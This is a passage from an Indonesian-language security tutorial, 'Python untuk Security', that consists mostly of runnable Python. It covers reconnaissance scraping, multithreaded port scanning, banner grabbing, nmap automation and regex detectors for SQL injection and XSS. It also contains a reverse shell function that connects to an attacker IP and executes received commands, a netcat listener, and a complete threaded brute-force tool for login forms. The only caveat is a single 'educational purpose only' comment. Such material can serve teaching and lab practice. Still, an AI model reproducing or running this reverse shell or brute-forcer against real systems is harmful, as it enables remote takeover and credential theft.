11.1.2 Python untuk Security

import requests

# Basic GET
response = requests.get("https://api.target.com/users")
print(response.status_code)
print(response.json())

# GET dengan headers
headers = {
    "User-Agent": "Mozilla/5.0",
    "Authorization": "Bearer token_here"
}
response = requests.get("https://api.target.com/admin", headers=headers)

# POST dengan data
data = {"username": "admin", "password": "test123"}
response = requests.post("https://target.com/login", data=data)

# Session - cookie persistence
session = requests.Session()
session.post("https://target.com/login", data={"user": "admin", "pass": "secret"})
response = session.get("https://target.com/dashboard")

# Timeout & error handling
try:
    response = requests.get("https://target.com", timeout=10)
    response.raise_for_status()
except requests.exceptions.Timeout:
    print("Request timeout")
except requests.exceptions.HTTPError as e:
    print(f"HTTP error: {e}")
except requests.exceptions.ConnectionError:
    print("Connection failed")

import requests
from bs4 import BeautifulSoup
import re

def scrape_links(url):
    """Ekstrak semua link dari halaman untuk reconnaissance."""
    try:
        response = requests.get(url, timeout=10)
        soup = BeautifulSoup(response.text, "html.parser")

        links = set()
        for a_tag in soup.find_all("a", href=True):
            href = a_tag["href"]
            if href.startswith("http"):
                links.add(href)
            elif href.startswith("/"):
                links.add(url + href)

        return links

    except Exception as e:
        print(f"Error scraping {url}: {e}")
        return set()

# Demo
target = "https://example.com"
all_links = scrape_links(target)
print(f"Ditemukan {len(all_links)} link:")
for link in sorted(all_links)[:10]:
    print(f"  - {link}")

import socket
import threading
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    """Scan satu port pada target."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        sock.close()
        return port if result == 0 else None
    except:
        return None

def port_scanner(host, start_port=1, end_port=1024, threads=50):
    """Multi-threaded port scanner."""
    open_ports = []

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = [executor.submit(scan_port, host, port)
                   for port in range(start_port, end_port + 1)]

        for future in futures:
            result = future.result()
            if result:
                open_ports.append(result)

    return sorted(open_ports)

# Demo
host = "192.168.1.1"
ports = port_scanner(host, 1, 1000)
print(f"Open ports on {host}: {ports}")

# Banner grabbing
def grab_banner(host, port):
    """Ambil banner service dari port terbuka."""
    try:
        sock = socket.socket()
        sock.settimeout(5)
        sock.connect((host, port))
        banner = sock.recv(1024).decode().strip()
        sock.close()
        return banner
    except:
        return "No banner"

for port in ports:
    banner = grab_banner(host, port)
    print(f"Port {port}: {banner}")

import socket
import subprocess
import os

# ATTENTION: Hanya untuk lab/practice - jangan digunakan illegal!
def reverse_shell(attacker_ip, port):
    """Simple reverse shell - educational purpose only."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((attacker_ip, port))

    while True:
        command = s.recv(1024).decode()
        if command.lower() == "exit":
            break

        output = subprocess.run(command, shell=True,
                                capture_output=True, text=True)
        s.send(output.stdout.encode() + output.stderr.encode())

    s.close()

import subprocess
import shlex

# Run command - capture output
result = subprocess.run(["nmap", "-sV", "192.168.1.1"],
                       capture_output=True, text=True, timeout=300)
print(result.stdout)

# Shell=True mode (hati-hati dengan injection)
result = subprocess.run("grep Failed /var/log/auth.log",
                       shell=True, capture_output=True, text=True)

# Interactive command dengan pipe
process = subprocess.Popen(
    ["nc", "-lvnp", "4444"],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

# Eksekusi nmap paralel
def scan_targets(targets):
    """Scan multiple targets dengan subprocess."""
    processes = []
    for target in targets:
        proc = subprocess.Popen(
            ["nmap", "-sS", "-p", "22,80,443", target],
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
        )
        processes.append((target, proc))

    for target, proc in processes:
        stdout, stderr = proc.communicate()
        print(f"[{target}] Done")
        if stdout:
            print(stdout[:500])

import argparse

def create_parser():
    """Buat argument parser untuk security tool CLI."""
    parser = argparse.ArgumentParser(
        description="Security Scanner Tool v1.0",
        epilog="Contoh: python scanner.py -t 192.168.1.1 -p 1-1000"
    )

    parser.add_argument("-t", "--target", required=True,
                       help="Target IP atau domain")
    parser.add_argument("-p", "--ports", default="1-1024",
                       help="Range port (contoh: 80,443 atau 1-1000)")
    parser.add_argument("-o", "--output", help="File output")
    parser.add_argument("-v", "--verbose", action="store_true",
                       help="Verbose mode")
    parser.add_argument("--timeout", type=int, default=2,
                       help="Socket timeout in seconds")

    return parser

def parse_ports(port_string):
    """Parse port string menjadi list."""
    ports = []
    for part in port_string.split(","):
        if "-" in part:
            start, end = part.split("-")
            ports.extend(range(int(start), int(end) + 1))
        else:
            ports.append(int(part))
    return ports

# Usage
if __name__ == "__main__":
    parser = create_parser()
    args = parser.parse_args()
    ports = parse_ports(args.ports)
    print(f"Scanning {args.target} on {len(ports)} ports...")

    if args.verbose:
        print(f"Ports: {ports[:20]}...")
        print(f"Timeout: {args.timeout}s")
        print(f"Output: {args.output or 'stdout'}")

import re

# Pattern umum untuk security
pattern_ip = r"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b"
pattern_email = r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
pattern_url = r"https?://[\\\\w./?=&-]+"
pattern_sqli = r"('|\\\"|--|#|union|select|insert|drop)"
pattern_xss = r"(<script|<img|onerror|onload|alert\()"

# Ekstrak IP dari file log
def extract_ips(log_content):
    return re.findall(pattern_ip, log_content)

# Deteksi SQL injection attempt
def detect_sqli(payload):
    return bool(re.search(pattern_sqli, payload, re.IGNORECASE))

# Validasi IP
def is_valid_ip(ip):
    return bool(re.match(pattern_ip + "$", ip))

# Demo
log = "192.168.1.1 - - [10/Jan/2024:12:00:01] GET /admin?id=1' OR '1'='1"
ips = extract_ips(log)
print(f"IP ditemukan: {ips}")
print(f"SQLi detected: {detect_sqli(log)}")

import json
import csv
import xml.etree.ElementTree as ET

# Baca file teks
with open("targets.txt", "r") as f:
    targets = [line.strip() for line in f if line.strip()]

# Parse JSON
with open("nmap_result.json", "r") as f:
    data = json.load(f)
    for host in data["nmaprun"]["host"]:
        ip = host["address"]["addr"]
        print(f"Host: {ip}")

# Parse CSV
with open("vulnerabilities.csv", "r") as f:
    reader = csv.DictReader(f)
    for row in reader:
        print(f"{row['host']} - {row['port']} - {row['vuln']}")

# Parse XML (nmap output)
def parse_nmap_xml(xml_file):
    tree = ET.parse(xml_file)
    root = tree.getroot()

    for host in root.findall(".//host"):
        ip = host.find(".//address")
        ports = host.findall(".//port")

        for port in ports:
            port_id = port.get("portid")
            state = port.find("state").get("state")
            if state == "open":
                print(f"IP: {ip.get('addr')}:{port_id} OPEN")

# Write output
def save_json_report(data, filename):
    with open(filename, "w") as f:
        json.dump(data, f, indent=4)
    print(f"Report saved: {filename}")

import threading
from queue import Queue
import time

class ThreadedScanner:
    """Threaded scanner dengan queue untuk task management."""

    def __init__(self, target, ports, threads=100):
        self.target = target
        self.ports = ports
        self.threads = threads
        self.queue = Queue()
        self.results = []
        self.lock = threading.Lock()

    def worker(self):
        """Worker thread - ambil port dari queue dan scan."""
        while not self.queue.empty():
            port = self.queue.get()
            result = scan_port(self.target, port)
            with self.lock:
                if result:
                    self.results.append(result)
            self.queue.task_done()

    def run(self):
        """Jalankan threaded scanner."""
        for port in self.ports:
            self.queue.put(port)

        # Start threads
        for _ in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.daemon = True
            t.start()

        # Wait for all
        self.queue.join()
        return sorted(self.results)

# Usage
scanner = ThreadedScanner("192.168.1.1", range(1, 1001), threads=200)
start = time.time()
results = scanner.run()
elapsed = time.time() - start
print(f"Found {len(results)} open ports in {elapsed:.2f}s")
print(f"Ports: {results}")

#!/usr/bin/env python3
# brute-force-login.py

import requests
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor

class BruteForceTool:
    """Simple brute force tool untuk login form."""

    def __init__(self, target, username_field, password_field):
        self.target = target
        self.username_field = username_field
        self.password_field = password_field
        self.session = requests.Session()
        self.found = False
        self.success_response = None

    def attempt(self, username, password):
        """Coba satu kombinasi login."""
        if self.found:
            return None

        try:
            data = {
                self.username_field: username,
                self.password_field: password
            }
            response = self.session.post(
                self.target, data=data, timeout=5
            )

            # Deteksi sukses - cari keyword di response
            if "invalid" not in response.text.lower() and \
               "wrong" not in response.text.lower():
                self.found = True
                self.success_response = response
                return (username, password)

        except Exception as e:
            print(f"Error: {e}")

        return None

    def run(self, usernames, passwords, threads=10):
        """Jalankan brute force dengan multiple threads."""
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = []
            for user in usernames:
                for pwd in passwords:
                    futures.append(
                        executor.submit(self.attempt, user, pwd)
                    )

            for future in futures:
                result = future.result()
                if result:
                    print(f"[SUCCESS] {result[0]}:{result[1]}")
                    return result

        print("No valid credentials found")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Login Brute Forcer")
    parser.add_argument("-t", "--target", required=True, help="Login URL")
    parser.add_argument("-u", "--usernames", required=True, help="User file")
    parser.add_argument("-p", "--passwords", required=True, help="Pass file")
    args = parser.parse_args()

    with open(args.usernames) as f:
        usernames = [l.strip() for l in f]

    with open(args.passwords) as f:
        passwords = [l.strip() for l in f]

    tool = BruteForceTool(args.target, "username", "password")
    tool.run(usernames, passwords)

from typing import List, Optional, Tuple

def scan_network(ip_range: str, ports: List[int],
                 timeout: int = 2) -> List[Tuple[str, int]]:
    """Scan network range untuk port tertentu.

    Args:
        ip_range: CIDR notation (contoh: 192.168.1.0/24)
        ports: List port to scan
        timeout: Socket timeout in seconds

    Returns:
        List of (ip, port) tuples for open ports
    """
    results: List[Tuple[str, int]] = []
    return results

import logging

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s",
    filename="scanner.log"
)

def safe_scan(host: str, port: int) -> Optional[int]:
    """Scan dengan error handling lengkap."""
    try:
        # Kode utama
        result = scan_port(host, port)
        return result
    except socket.timeout:
        logging.warning(f"Timeout on {host}:{port}")
        return None
    except ConnectionRefusedError:
        return None
    except Exception as e:
        logging.error(f"Unexpected error on {host}:{port}: {e}")
        return None
    finally:
        # Cleanup resources
        pass